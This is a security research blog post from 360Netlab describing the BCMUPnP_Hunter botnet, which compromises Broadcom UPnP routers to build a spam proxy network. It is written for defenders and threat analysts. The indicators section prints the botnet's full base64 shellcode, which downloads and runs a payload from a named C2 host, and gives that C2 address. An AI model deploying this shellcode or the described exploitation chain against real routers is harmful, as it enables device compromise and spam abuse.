BCMPUPnP_Hunter: A 100k Botnet Turns Home Routers to Email Spammers
<!--kg-card-begin: markdown--><p>This article was co-authored by <a href="https://twitter.com/huiwangeth"><em>Hui Wang</em></a> and <a href="https://twitter.com/RooKiter"><em>RootKiter</em></a>.</p>
<p>Since September 2018, <a href="https://scan.netlab.360.com/#/dashboard?dstport=5431">360Netlab Scanmon</a> has detected multiple scan <a href="https://twitter.com/liuya0904/status/1044960012072697856">spikes on TCP port 5431</a>, each time the system logged more than 100k scan sources, a pretty large number compared with most other botnets we have covered before.</p>
<p>The interaction between the botnet and the potential target takes multiple steps, it starts with <code>tcp port 5431</code> destination scan, then moving on to check target’s <code>UDP port 1900</code> and wait for the target to send the proper vulnerable URL. After getting the proper URL, it takes another 4 packet exchanges for the attacker to figure out where the shellcode's execution start address in memory is so a right exploit payload can be crafted and fed to the target.</p>
<p>At the beginning we were not able to capture a valid sample as the honeypot needs to be able to simulate the above scenarios. We had to tweak and customize our honeypot quite a few times, then finally in Oct, we got it right and successfully tricked the botnet to send us the sample (we call it BCMUPnP_Hunter).</p>
<p>The botnet has the following characteristics:</p>
<ul>
<li>The amount of infection is very large, the number of active scanning IP in each scan event is about 100,000;</li>
<li>The target of infection is mainly router equipment with BroadCom UPnP feature enabled.</li>
<li>Self-built proxy network (tcp-proxy), the proxy network is implemented by the attacker, the proxy currently communicates with well-known mail servers such as Outlook, Hotmail, Yahoo! Mail, etc. We highly suspect that the attacker's intention is to send spams.</li>
</ul>
<h1 id="scaleassessment">Scale Assessment</h1>
<p>The trend of scanning source IP for <code>TCP port 5431</code> in the last 30 days is as follows:<br>
<img src="__GHOST_URL__/content/images/2018/11/Snip20181102_3.png" alt="" loading="lazy"></p>
<ul>
<li>It can be seen that the scan activity picks up every 1-3 days. The number of active scanning IP in each single event is about 100,000</li>
<li>All together we have 3.37 million unique scan source IPs. It is a big number, but it is likely that the IPs of the same infected devices just changed over time.</li>
<li>The number of potential infections may reach 400,000 according to <a href="https://www.shodan.io/search?query=Server%3A%20Custom%2F1.0%20UPnP%2F1.0%20Proc%2FVer">Shodan</a> based on the search of banner: <code>Server: Custom/1.0 UPnP/1.0 Proc/Ver</code></li>
</ul>
<p>Geographical distribution for the scanner IPs in the last 7 days (click to enlarge, deeper means more infected devices).<br>
<a href="__GHOST_URL__/content/images/2018/11/Snip20181102_10.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/11/Snip20181102_9.png" /></a></p>
<h1 id="infecteddeviceinformation">Infected Device Information</h1>
<p>We probed the scanners, and 116 different type of infected device information is obtained, the actual infected device type should be more than what displays below:</p>
<pre><code>ADB Broadband S.p.A,	HomeStation ADSL Router
ADB Broadband,	ADB ADSL Router
ADBB,	ADB ADSL Router
ALSiTEC,	Broadcom ADSL Router
ASB,	ADSL Router
ASB,	ChinaNet EPON Router
ASB,	ChinaTelecom E8C(EPON) Gateway
Actiontec,	Actiontec GT784WN
Actiontec,	Verizon ADSL Router
BEC Technologies Inc.,	Broadcom ADSL Router
Best IT World India Pvt. Ltd.,	150M Wireless-N ADSL2+ Router
Best IT World India Pvt. Ltd.,	iB-WRA300N
Billion Electric Co., Ltd.,	ADSL2+ Firewall Router
Billion Electric Co., Ltd.,	BiPAC 7800NXL
Billion,	BiPAC 7700N
Billion,	BiPAC 7700N R2
Binatone Telecommunication,	Broadcom LAN Router
Broadcom,	ADSL Router
Broadcom,	ADSL2+ 11n WiFi CPE
Broadcom,	Broadcom  Router
Broadcom,	Broadcom ADSL Router
Broadcom,	D-Link DSL-2640B
Broadcom,	D-link ADSL Router
Broadcom,	DLink ADSL Router
ClearAccess,	Broadcom ADSL Router
Comtrend,	AR-5383n
Comtrend,	Broadcom ADSL Router
Comtrend,	Comtrend single-chip ADSL router
D-Link Corporation.,	D-Link DSL-2640B
D-Link Corporation.,	D-Link DSL-2641B
D-Link Corporation.,	D-Link DSL-2740B
D-Link Corporation.,	D-Link DSL-2750B
D-Link Corporation.,	D-LinkDSL-2640B
D-Link Corporation.,	D-LinkDSL-2641B
D-Link Corporation.,	D-LinkDSL-2741B
D-Link Corporation.,	DSL-2640B
D-Link,	ADSL 4*FE 11n Router
D-Link,	D-Link ADSL Router
D-Link,	D-Link DSL-2640U
D-Link,	D-Link DSL-2730B
D-Link,	D-Link DSL-2730U
D-Link,	D-Link DSL-2750B
D-Link,	D-Link DSL-2750U
D-Link,	D-Link DSL-6751
D-Link,	D-Link DSL2750U
D-Link,	D-Link Router
D-Link,	D-link ADSL Router
D-Link,	DVA-G3672B-LTT Networks ADSL Router
DARE,	Dare router
DLink,	D-Link DSL-2730B
DLink,	D-Link VDSL Router
DLink,	DLink ADSL Router
DQ Technology, Inc.,	ADSL2+ 11n WiFi CPE
DQ Technology, Inc.,	Broadcom ADSL Router
DSL,	ADSL Router
DareGlobal,	D-Link ADSL Router
Digicom S.p.A.,	ADSL Wireless Modem/Router
Digicom S.p.A.,	RAW300C-T03
Dlink,	D-Link DSL-225
Eltex,	Broadcom ADSL Router
FiberHome,	Broadcom ADSL Router
GWD,	ChinaTelecom E8C(EPON) Gateway
Genew,	Broadcom ADSL Router
INTEX,	W150D
INTEX,	W300D
INTEX,	Wireless N 150 ADSL2+ Modem Router
INTEX,	Wireless N 300 ADSL2+ Modem Router
ITI Ltd.,	ITI Ltd.ADSL2Plus Modem/Router
Inteno,	Broadcom ADSL Router
Intercross,	Broadcom ADSL Router
IskraTEL,	Broadcom ADSL Router
Kasda,	Broadcom ADSL Router
Link-One,	Modem Roteador Wireless N ADSL2+ 150 Mbps
Linksys,	Cisco X1000
Linksys,	Cisco X3500
NB,	DSL-2740B
NetComm Wireless Limited,	NetComm ADSL2+ Wireless Router
NetComm,	NetComm ADSL2+ Wireless Router
NetComm,	NetComm WiFi Data and VoIP Gateway
OPTICOM,	DSLink 279
Opticom,	DSLink 485
Orcon,	Genius
QTECH,	QTECH
Raisecom,	Broadcom ADSL Router
Ramptel,	300Mbps ADSL Wireless-N Router
Router,	ADSL2+ Router
SCTY,	TYKH PON Router
Star-Net,	Broadcom ADSL Router
Starbridge Networks,	Broadcom ADSL Router
TP-LINK Technologies Co., Ltd,	300Mbps Wireless N ADSL2+ Modem Router
TP-LINK Technologies Co., Ltd,	300Mbps Wireless N USB ADSL2+ Modem Router
TP-LINK,	TP-LINK Wireless ADSL2+ Modem Router
TP-LINK,	TP-LINK Wireless ADSL2+ Router
Technicolor,	CenturyLink TR-064 v4.0
Tenda,	Tenda ADSL2+ WIFI MODEM
Tenda,	Tenda ADSL2+ WIFI Router
Tenda,	Tenda Gateway
Tenda/Imex,	ADSL2+ WIFI-MODEM WITH 3G/4G USB PORT
Tenda/Imex,	ADSL2+ WIFI-MODEM WITH EVO SUPPORT
UTStarcom Inc.,	UTStarcom ADSL2+ Modem Router
UTStarcom Inc.,	UTStarcom ADSL2+ Modem/Wireless Router
UniqueNet Solutions,	WLAN N300 ADSL2+ Modem Router
ZTE,	Broadcom ADSL Router
ZTE,	ONU Router
ZYXEL,	ZyXEL VDSL Router
Zhone,	Broadcom ADSL Router
Zhone,	Zhone Wireless Gateway
Zoom,	Zoom Adsl Modem/Router
ZyXEL,	CenturyLink UPnP v1.0
ZyXEL,	P-660HN-51
ZyXEL,	ZyXEL xDSL Router
huaqin,	HGU210 v3 Router
iBall Baton,	iBall Baton 150M Wireless-N ADSL2+ Router
iiNet Limited,	BudiiLite
iiNet,	BoB2
iiNet,	BoBLite
</code></pre>
<h1 id="botnetworkflow">Botnet Workflow</h1>
<p>As mentioned in the beginning, the bot has to go through multiple steps to infect a protentional target, see the following diagram for the workflow, note the Loader is ( <code>109.248.9.17:4369</code>)</p>
<p><a href="__GHOST_URL__/content/images/2018/10/bcm_p.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/10/bcm_p0.png" /></a><center>Figure 1: BCMUPnP_Hunter Infection process (Click to enlarge)</center></p>
<h1 id="thesample">The Sample</h1>
<p>The sample of the botnet consists of two parts, the shellcode and the Main sample, which are described below.</p>
<h2 id="shellcode">shellcode</h2>
<p>The main function of shellcode is to download the main sample from C2(<code>109.248.9.17:8738</code>) and execute it.</p>
<p>The shellcode has a full length of 432 bytes, very neatly organized and written, some proofs below (We did not find similar code using search engines). It seems that the author has profound skills and is not a typical script kid:</p>
<ul>
<li>Code basic: The code has multiple syscall calls for networks, processes, files, etc.</li>
<li>Some details: <code>syscall 0x40404</code>(instead of <code>syscall 0</code>) and multiple inversion operations were used so bad characters (<code>\x00</code>) could be avoided;  the stack variables in the code also have different degrees of multiplexing to optimize the runtime stack structure;</li>
<li>Code logic: by calling the Loop at various section, the possibility of many failed calls is reasonably avoided, and the validity of shellcode execution is guaranteed.</li>
</ul>
<p>The complete flow chart is as follows:</p>
<p><a href="__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color_min.png" /></a><center>Figure 2: Shellcode calling graph(Click to enlarge)</center></p>
<h2 id="mainsample">Main Sample</h2>
<p>The main sample includes BroadCom UPnP vulnerability probe and a proxy access network module, it can parse four instruction codes from C2:</p>
<pre><code>Command Code  |   Length   |  Function
0x00000000         0x18       The first packet, no practical function
0x01010101         0x4c       Search for potential vulnerable target
0x02020202         0x08       Empty current task 
0x03030303         0x108      Access Proxy Network
</code></pre>
<ul>
<li><code>0x01010101</code> to enable the port scan task, once the BOT IDs a potential target, the target IP will be reported to the Loader, and then the Loader will complete the subsequent infection process.</li>
<li><code>0x03030303</code> is for the proxy service, BOT accesses the address provided in the instruction and reports the access result to the C2. This can generate real economic benefits. Attackers can use this command to build a proxy network, and then profit from doing things such as sending spam, simulating clicks, and so on.</li>
</ul>
<h1 id="proxynetworkandspam">Proxy Network and Spam</h1>
<p>In the instructions we have obtained, BCMUPnP_Hunter is used to proxy traffic to the following servers:</p>
<pre><code>104.47.0.33:25
104.47.12.33:25
104.47.124.33:25
104.47.14.33:25
104.47.33.33:25
104.47.48.33:25
104.47.50.33:25
106.10.248.84:25
144.160.159.21:25
188.125.73.87:25
67.195.229.59:25
74.6.137.63:25
74.6.137.64:25
98.137.159.28:25
</code></pre>
<p>This table shows what we have dug out from our various data sources for the above IPs:</p>
<p><img src="__GHOST_URL__/content/images/2018/11/proxy_target-1.png" alt="" loading="lazy"></p>
<p>As can be seen:</p>
<ul>
<li>These servers are all well-known mail service providers, including Outlook, Hotmail, Yahoo! Mail;</li>
<li>For several months, these servers have provided and only provided TCP25 services;</li>
<li>In this case, it appears that the attacker is abusing the email service of these servers;</li>
</ul>
<p>This makes us highly skeptical that the attacker is using the proxy network established by BCMUPnP_Hunter to send spam.</p>
<h1 id="contactus">Contact Us</h1>
<p>Relevant security oragnizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.</p>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a>, WeChat 360Netlab or email to netlab[at]360.cn.</p>
<h1 id="appendixaboutthebroadcomupnpvulnerability">Appendix: About the BroadCom UPnP Vulnerability</h1>
<p>UPnP is the acronym for Universal Plug and play, the Universal plug-in protocol. <a href="https://en.wikipedia.org/wiki/Universal_Plug_and_Play"><em>[1]</em></a> The goal of the agreement is to enable home networks (data sharing, communication and entertainment) and various devices in the corporate network to seamlessly connect with each other and simplify the implementation of related networks. Broadcom UPnP is a concrete implementation of Broadcom's response to the UPnP protocol.</p>
<p>As Broadcom is in the industry upstream of the supply chain, the implementation is adopted by major router manufacturers, including Asus, D-link,zyxel,us Robotics,t p-link,netgear and so on.</p>
<p>In October 2013, security researchers at security research firm DefenseCode discovered the <a href="http://defensecode.com/whitepapers/From_Zero_To_ZeroDay_Network_Devices_Exploitation.txt">BroadCom UPnP format string vulnerability</a> in the protocol stack . Considering that the vulnerability affects products from several major router vendors, DefenseCode did not disclose their findings until 2017. The code disclosed this time is of a verification nature<a href="https://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf"><em>[2]</em></a>  An attacker must complete the necessary vulnerability analysis and optimize the shellcode process on the basis of a publicly available document before it can be of practical power.</p>
<h1 id="ioc">IoC</h1>
<p>C2</p>
<pre><code>109.248.9.17 &quot;Bulgaria/BG&quot; &quot;AS58222 Solar Invest UK LTD&quot; #C2&amp;&amp;Loader
</code></pre>
<p>Sample MD5</p>
<pre><code>9036120904827550bf4436a919d3e503
</code></pre>
<p>Shellcode(Base64 encode):</p>
<pre><code>AtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t
</code></pre>
<!--kg-card-end: markdown-->
This article was co-authored by Hui Wang and RootKiter.


Since September 2018, 360Netlab Scanmon has detected multiple scan spikes on TCP port 5431, each time the system logged more than 100k scan sources, a pretty large number compared with most other botnets we have covered before.


The interaction between the botnet and the potential target takes multiple steps, it starts with tcp port 5431 destination scan, then moving on to check target’s UDP port 1900 and wait for the target to send the proper vulnerable URL. After getting the proper URL, it takes another 4 packet exchanges for the attacker to figure out where the shellcode's execution start address in memory is so a right exploit payload can be crafted and fed to the target.


At the beginning we were not able to capture a valid sample as the honeypot needs to be able to simulate the above scenarios. We had to tweak and customize our honeypot quite a few times, then finally in Oct, we got it right and successfully tricked the botnet to send us the sample (we call it BCMUPnP_Hunter).


The botnet has the following characteristics:


 * The amount of infection is very large, the number of active scanning IP in each scan event is about 100,000;
 * The target of infection is mainly router equipment with BroadCom UPnP feature enabled.
 * Self-built proxy network (tcp-proxy), the proxy network is implemented by the attacker, the proxy currently communicates with well-known mail servers such as Outlook, Hotmail, Yahoo! Mail, etc. We highly suspect that the attacker's intention is to send spams.



Scale Assessment


The trend of scanning source IP for TCP port 5431 in the last 30 days is as follows:




 * It can be seen that the scan activity picks up every 1-3 days. The number of active scanning IP in each single event is about 100,000
 * All together we have 3.37 million unique scan source IPs. It is a big number, but it is likely that the IPs of the same infected devices just changed over time.
 * The number of potential infections may reach 400,000 according to Shodan based on the search of banner: Server: Custom/1.0 UPnP/1.0 Proc/Ver


Geographical distribution for the scanner IPs in the last 7 days (click to enlarge, deeper means more infected devices).





Infected Device Information


We probed the scanners, and 116 different type of infected device information is obtained, the actual infected device type should be more than what displays below:


ADB Broadband S.p.A,	HomeStation ADSL Router
ADB Broadband,	ADB ADSL Router
ADBB,	ADB ADSL Router
ALSiTEC,	Broadcom ADSL Router
ASB,	ADSL Router
ASB,	ChinaNet EPON Router
ASB,	ChinaTelecom E8C(EPON) Gateway
Actiontec,	Actiontec GT784WN
Actiontec,	Verizon ADSL Router
BEC Technologies Inc.,	Broadcom ADSL Router
Best IT World India Pvt. Ltd.,	150M Wireless-N ADSL2+ Router
Best IT World India Pvt. Ltd.,	iB-WRA300N
Billion Electric Co., Ltd.,	ADSL2+ Firewall Router
Billion Electric Co., Ltd.,	BiPAC 7800NXL
Billion,	BiPAC 7700N
Billion,	BiPAC 7700N R2
Binatone Telecommunication,	Broadcom LAN Router
Broadcom,	ADSL Router
Broadcom,	ADSL2+ 11n WiFi CPE
Broadcom,	Broadcom  Router
Broadcom,	Broadcom ADSL Router
Broadcom,	D-Link DSL-2640B
Broadcom,	D-link ADSL Router
Broadcom,	DLink ADSL Router
ClearAccess,	Broadcom ADSL Router
Comtrend,	AR-5383n
Comtrend,	Broadcom ADSL Router
Comtrend,	Comtrend single-chip ADSL router
D-Link Corporation.,	D-Link DSL-2640B
D-Link Corporation.,	D-Link DSL-2641B
D-Link Corporation.,	D-Link DSL-2740B
D-Link Corporation.,	D-Link DSL-2750B
D-Link Corporation.,	D-LinkDSL-2640B
D-Link Corporation.,	D-LinkDSL-2641B
D-Link Corporation.,	D-LinkDSL-2741B
D-Link Corporation.,	DSL-2640B
D-Link,	ADSL 4*FE 11n Router
D-Link,	D-Link ADSL Router
D-Link,	D-Link DSL-2640U
D-Link,	D-Link DSL-2730B
D-Link,	D-Link DSL-2730U
D-Link,	D-Link DSL-2750B
D-Link,	D-Link DSL-2750U
D-Link,	D-Link DSL-6751
D-Link,	D-Link DSL2750U
D-Link,	D-Link Router
D-Link,	D-link ADSL Router
D-Link,	DVA-G3672B-LTT Networks ADSL Router
DARE,	Dare router
DLink,	D-Link DSL-2730B
DLink,	D-Link VDSL Router
DLink,	DLink ADSL Router
DQ Technology, Inc.,	ADSL2+ 11n WiFi CPE
DQ Technology, Inc.,	Broadcom ADSL Router
DSL,	ADSL Router
DareGlobal,	D-Link ADSL Router
Digicom S.p.A.,	ADSL Wireless Modem/Router
Digicom S.p.A.,	RAW300C-T03
Dlink,	D-Link DSL-225
Eltex,	Broadcom ADSL Router
FiberHome,	Broadcom ADSL Router
GWD,	ChinaTelecom E8C(EPON) Gateway
Genew,	Broadcom ADSL Router
INTEX,	W150D
INTEX,	W300D
INTEX,	Wireless N 150 ADSL2+ Modem Router
INTEX,	Wireless N 300 ADSL2+ Modem Router
ITI Ltd.,	ITI Ltd.ADSL2Plus Modem/Router
Inteno,	Broadcom ADSL Router
Intercross,	Broadcom ADSL Router
IskraTEL,	Broadcom ADSL Router
Kasda,	Broadcom ADSL Router
Link-One,	Modem Roteador Wireless N ADSL2+ 150 Mbps
Linksys,	Cisco X1000
Linksys,	Cisco X3500
NB,	DSL-2740B
NetComm Wireless Limited,	NetComm ADSL2+ Wireless Router
NetComm,	NetComm ADSL2+ Wireless Router
NetComm,	NetComm WiFi Data and VoIP Gateway
OPTICOM,	DSLink 279
Opticom,	DSLink 485
Orcon,	Genius
QTECH,	QTECH
Raisecom,	Broadcom ADSL Router
Ramptel,	300Mbps ADSL Wireless-N Router
Router,	ADSL2+ Router
SCTY,	TYKH PON Router
Star-Net,	Broadcom ADSL Router
Starbridge Networks,	Broadcom ADSL Router
TP-LINK Technologies Co., Ltd,	300Mbps Wireless N ADSL2+ Modem Router
TP-LINK Technologies Co., Ltd,	300Mbps Wireless N USB ADSL2+ Modem Router
TP-LINK,	TP-LINK Wireless ADSL2+ Modem Router
TP-LINK,	TP-LINK Wireless ADSL2+ Router
Technicolor,	CenturyLink TR-064 v4.0
Tenda,	Tenda ADSL2+ WIFI MODEM
Tenda,	Tenda ADSL2+ WIFI Router
Tenda,	Tenda Gateway
Tenda/Imex,	ADSL2+ WIFI-MODEM WITH 3G/4G USB PORT
Tenda/Imex,	ADSL2+ WIFI-MODEM WITH EVO SUPPORT
UTStarcom Inc.,	UTStarcom ADSL2+ Modem Router
UTStarcom Inc.,	UTStarcom ADSL2+ Modem/Wireless Router
UniqueNet Solutions,	WLAN N300 ADSL2+ Modem Router
ZTE,	Broadcom ADSL Router
ZTE,	ONU Router
ZYXEL,	ZyXEL VDSL Router
Zhone,	Broadcom ADSL Router
Zhone,	Zhone Wireless Gateway
Zoom,	Zoom Adsl Modem/Router
ZyXEL,	CenturyLink UPnP v1.0
ZyXEL,	P-660HN-51
ZyXEL,	ZyXEL xDSL Router
huaqin,	HGU210 v3 Router
iBall Baton,	iBall Baton 150M Wireless-N ADSL2+ Router
iiNet Limited,	BudiiLite
iiNet,	BoB2
iiNet,	BoBLite




Botnet Workflow


As mentioned in the beginning, the bot has to go through multiple steps to infect a protentional target, see the following diagram for the workflow, note the Loader is ( 109.248.9.17:4369)


Figure 1: BCMUPnP_Hunter Infection process (Click to enlarge)



The Sample


The sample of the botnet consists of two parts, the shellcode and the Main sample, which are described below.



shellcode


The main function of shellcode is to download the main sample from C2(109.248.9.17:8738) and execute it.


The shellcode has a full length of 432 bytes, very neatly organized and written, some proofs below (We did not find similar code using search engines). It seems that the author has profound skills and is not a typical script kid:


 * Code basic: The code has multiple syscall calls for networks, processes, files, etc.
 * Some details: syscall 0x40404(instead of syscall 0) and multiple inversion operations were used so bad characters (\x00) could be avoided; the stack variables in the code also have different degrees of multiplexing to optimize the runtime stack structure;
 * Code logic: by calling the Loop at various section, the possibility of many failed calls is reasonably avoided, and the validity of shellcode execution is guaranteed.


The complete flow chart is as follows:


Figure 2: Shellcode calling graph(Click to enlarge)



Main Sample


The main sample includes BroadCom UPnP vulnerability probe and a proxy access network module, it can parse four instruction codes from C2:


Command Code  |   Length   |  Function
0x00000000         0x18       The first packet, no practical function
0x01010101         0x4c       Search for potential vulnerable target
0x02020202         0x08       Empty current task 
0x03030303         0x108      Access Proxy Network



 * 0x01010101 to enable the port scan task, once the BOT IDs a potential target, the target IP will be reported to the Loader, and then the Loader will complete the subsequent infection process.
 * 0x03030303 is for the proxy service, BOT accesses the address provided in the instruction and reports the access result to the C2. This can generate real economic benefits. Attackers can use this command to build a proxy network, and then profit from doing things such as sending spam, simulating clicks, and so on.



Proxy Network and Spam


In the instructions we have obtained, BCMUPnP_Hunter is used to proxy traffic to the following servers:


104.47.0.33:25
104.47.12.33:25
104.47.124.33:25
104.47.14.33:25
104.47.33.33:25
104.47.48.33:25
104.47.50.33:25
106.10.248.84:25
144.160.159.21:25
188.125.73.87:25
67.195.229.59:25
74.6.137.63:25
74.6.137.64:25
98.137.159.28:25



This table shows what we have dug out from our various data sources for the above IPs:





As can be seen:


 * These servers are all well-known mail service providers, including Outlook, Hotmail, Yahoo! Mail;
 * For several months, these servers have provided and only provided TCP25 services;
 * In this case, it appears that the attacker is abusing the email service of these servers;


This makes us highly skeptical that the attacker is using the proxy network established by BCMUPnP_Hunter to send spam.



Contact Us


Relevant security oragnizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.


Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab[at]360.cn.



Appendix: About the BroadCom UPnP Vulnerability


UPnP is the acronym for Universal Plug and play, the Universal plug-in protocol. [1] The goal of the agreement is to enable home networks (data sharing, communication and entertainment) and various devices in the corporate network to seamlessly connect with each other and simplify the implementation of related networks. Broadcom UPnP is a concrete implementation of Broadcom's response to the UPnP protocol.


As Broadcom is in the industry upstream of the supply chain, the implementation is adopted by major router manufacturers, including Asus, D-link,zyxel,us Robotics,t p-link,netgear and so on.


In October 2013, security researchers at security research firm DefenseCode discovered the BroadCom UPnP format string vulnerability in the protocol stack . Considering that the vulnerability affects products from several major router vendors, DefenseCode did not disclose their findings until 2017. The code disclosed this time is of a verification nature[2] An attacker must complete the necessary vulnerability analysis and optimize the shellcode process on the basis of a publicly available document before it can be of practical power.



IoC


C2


109.248.9.17 "Bulgaria/BG" "AS58222 Solar Invest UK LTD" #C2&&Loader



Sample MD5


9036120904827550bf4436a919d3e503



Shellcode(Base64 encode):


AtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This article was co-authored by [*Hui Wang*](https://twitter.com/huiwangeth) and [*RootKiter*](https://twitter.com/RooKiter).\n\n\nSince September 2018, [360Netlab Scanmon](https://scan.netlab.360.com/#/dashboard?dstport=5431) has detected multiple scan [spikes on TCP port 5431](https://twitter.com/liuya0904/status/1044960012072697856), each time the system logged more than 100k scan sources, a pretty large number compared with most other botnets we have covered before. \n\nThe interaction between the botnet and the potential target takes multiple steps, it starts with `tcp port 5431` destination scan, then moving on to check target’s `UDP port 1900` and wait for the target to send the proper vulnerable URL. After getting the proper URL, it takes another 4 packet exchanges for the attacker to figure out where the shellcode's execution start address in memory is so a right exploit payload can be crafted and fed to the target.\n\nAt the beginning we were not able to capture a valid sample as the honeypot needs to be able to simulate the above scenarios. We had to tweak and customize our honeypot quite a few times, then finally in Oct, we got it right and successfully tricked the botnet to send us the sample (we call it BCMUPnP_Hunter).\n\nThe botnet has the following characteristics:\n\n * The amount of infection is very large, the number of active scanning IP in each scan event is about 100,000;\n * The target of infection is mainly router equipment with BroadCom UPnP feature enabled.\n * Self-built proxy network (tcp-proxy), the proxy network is implemented by the attacker, the proxy currently communicates with well-known mail servers such as Outlook, Hotmail, Yahoo! Mail, etc. We highly suspect that the attacker's intention is to send spams.\n\n\n# Scale Assessment\nThe trend of scanning source IP for `TCP port 5431` in the last 30 days is as follows:\n![](__GHOST_URL__/content/images/2018/11/Snip20181102_3.png)\n\n * It can be seen that the scan activity picks up every 1-3 days. The number of active scanning IP in each single event is about 100,000\n * All together we have 3.37 million unique scan source IPs. It is a big number, but it is likely that the IPs of the same infected devices just changed over time.\n * The number of potential infections may reach 400,000 according to [Shodan]( https://www.shodan.io/search?query=Server%3A%20Custom%2F1.0%20UPnP%2F1.0%20Proc%2FVer) based on the search of banner: `Server: Custom/1.0 UPnP/1.0 Proc/Ver`\n\nGeographical distribution for the scanner IPs in the last 7 days (click to enlarge, deeper means more infected devices).\n<a href=\"__GHOST_URL__/content/images/2018/11/Snip20181102_10.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/11/Snip20181102_9.png\" /></a>\n\n# Infected Device Information\nWe probed the scanners, and 116 different type of infected device information is obtained, the actual infected device type should be more than what displays below:\n\n```\nADB Broadband S.p.A,\tHomeStation ADSL Router\nADB Broadband,\tADB ADSL Router\nADBB,\tADB ADSL Router\nALSiTEC,\tBroadcom ADSL Router\nASB,\tADSL Router\nASB,\tChinaNet EPON Router\nASB,\tChinaTelecom E8C(EPON) Gateway\nActiontec,\tActiontec GT784WN\nActiontec,\tVerizon ADSL Router\nBEC Technologies Inc.,\tBroadcom ADSL Router\nBest IT World India Pvt. Ltd.,\t150M Wireless-N ADSL2+ Router\nBest IT World India Pvt. Ltd.,\tiB-WRA300N\nBillion Electric Co., Ltd.,\tADSL2+ Firewall Router\nBillion Electric Co., Ltd.,\tBiPAC 7800NXL\nBillion,\tBiPAC 7700N\nBillion,\tBiPAC 7700N R2\nBinatone Telecommunication,\tBroadcom LAN Router\nBroadcom,\tADSL Router\nBroadcom,\tADSL2+ 11n WiFi CPE\nBroadcom,\tBroadcom  Router\nBroadcom,\tBroadcom ADSL Router\nBroadcom,\tD-Link DSL-2640B\nBroadcom,\tD-link ADSL Router\nBroadcom,\tDLink ADSL Router\nClearAccess,\tBroadcom ADSL Router\nComtrend,\tAR-5383n\nComtrend,\tBroadcom ADSL Router\nComtrend,\tComtrend single-chip ADSL router\nD-Link Corporation.,\tD-Link DSL-2640B\nD-Link Corporation.,\tD-Link DSL-2641B\nD-Link Corporation.,\tD-Link DSL-2740B\nD-Link Corporation.,\tD-Link DSL-2750B\nD-Link Corporation.,\tD-LinkDSL-2640B\nD-Link Corporation.,\tD-LinkDSL-2641B\nD-Link Corporation.,\tD-LinkDSL-2741B\nD-Link Corporation.,\tDSL-2640B\nD-Link,\tADSL 4*FE 11n Router\nD-Link,\tD-Link ADSL Router\nD-Link,\tD-Link DSL-2640U\nD-Link,\tD-Link DSL-2730B\nD-Link,\tD-Link DSL-2730U\nD-Link,\tD-Link DSL-2750B\nD-Link,\tD-Link DSL-2750U\nD-Link,\tD-Link DSL-6751\nD-Link,\tD-Link DSL2750U\nD-Link,\tD-Link Router\nD-Link,\tD-link ADSL Router\nD-Link,\tDVA-G3672B-LTT Networks ADSL Router\nDARE,\tDare router\nDLink,\tD-Link DSL-2730B\nDLink,\tD-Link VDSL Router\nDLink,\tDLink ADSL Router\nDQ Technology, Inc.,\tADSL2+ 11n WiFi CPE\nDQ Technology, Inc.,\tBroadcom ADSL Router\nDSL,\tADSL Router\nDareGlobal,\tD-Link ADSL Router\nDigicom S.p.A.,\tADSL Wireless Modem/Router\nDigicom S.p.A.,\tRAW300C-T03\nDlink,\tD-Link DSL-225\nEltex,\tBroadcom ADSL Router\nFiberHome,\tBroadcom ADSL Router\nGWD,\tChinaTelecom E8C(EPON) Gateway\nGenew,\tBroadcom ADSL Router\nINTEX,\tW150D\nINTEX,\tW300D\nINTEX,\tWireless N 150 ADSL2+ Modem Router\nINTEX,\tWireless N 300 ADSL2+ Modem Router\nITI Ltd.,\tITI Ltd.ADSL2Plus Modem/Router\nInteno,\tBroadcom ADSL Router\nIntercross,\tBroadcom ADSL 